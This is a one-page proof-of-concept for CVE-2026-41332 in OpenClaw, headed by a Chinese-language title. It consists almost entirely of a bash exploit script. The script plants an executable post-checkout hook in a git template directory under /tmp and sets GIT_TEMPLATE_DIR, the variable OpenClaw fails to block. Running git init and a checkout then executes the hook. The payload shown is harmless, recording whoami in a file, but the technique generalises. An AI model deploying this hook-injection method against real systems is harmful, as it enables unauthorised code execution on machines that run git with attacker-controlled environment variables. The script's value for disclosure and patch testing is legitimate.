CVE-2026-41332 OpenClaw环境变量清洗缺失代码执行漏洞

#!/bin/bash # PoC for CVE-2026-41332: OpenClaw Env Variable Sanitization Bypass # This script demonstrates how an attacker can leverage GIT_TEMPLATE_DIR # to achieve arbitrary code execution via OpenClaw's exec request. # 1. Create a malicious git template directory with a post-checkout hook mkdir -p /tmp/evil_git_template/hooks cat <<EOF > /tmp/evil_git_template/hooks/post-checkout #!/bin/bash # Malicious payload execution echo "[+] PoC Executed: Code execution via CVE-2026-41332" > /tmp/poc_success.txt whoami >> /tmp/poc_success.txt EOF chmod +x /tmp/evil_git_template/hooks/post-checkout # 2. Set the environment variable not blocked by OpenClaw export GIT_TEMPLATE_DIR=/tmp/evil_git_template # 3. Simulate the vulnerable exec request (OpenClaw calling git) # In a real scenario, this would be triggered through the application's workflow git init /tmp/test_repo cd /tmp/test_repo git config user.email "[email protected]" git config user.name "test" touch test.txt git add test.txt git commit -m "test" # 4. Trigger the hook (e.g., by checking out a branch) git checkout -b trigger_payload # 5. Verify execution if [ -f /tmp/poc_success.txt ]; then echo "[!] Exploit successful!" cat /tmp/poc_success.txt else echo "[-] Exploit failed." fi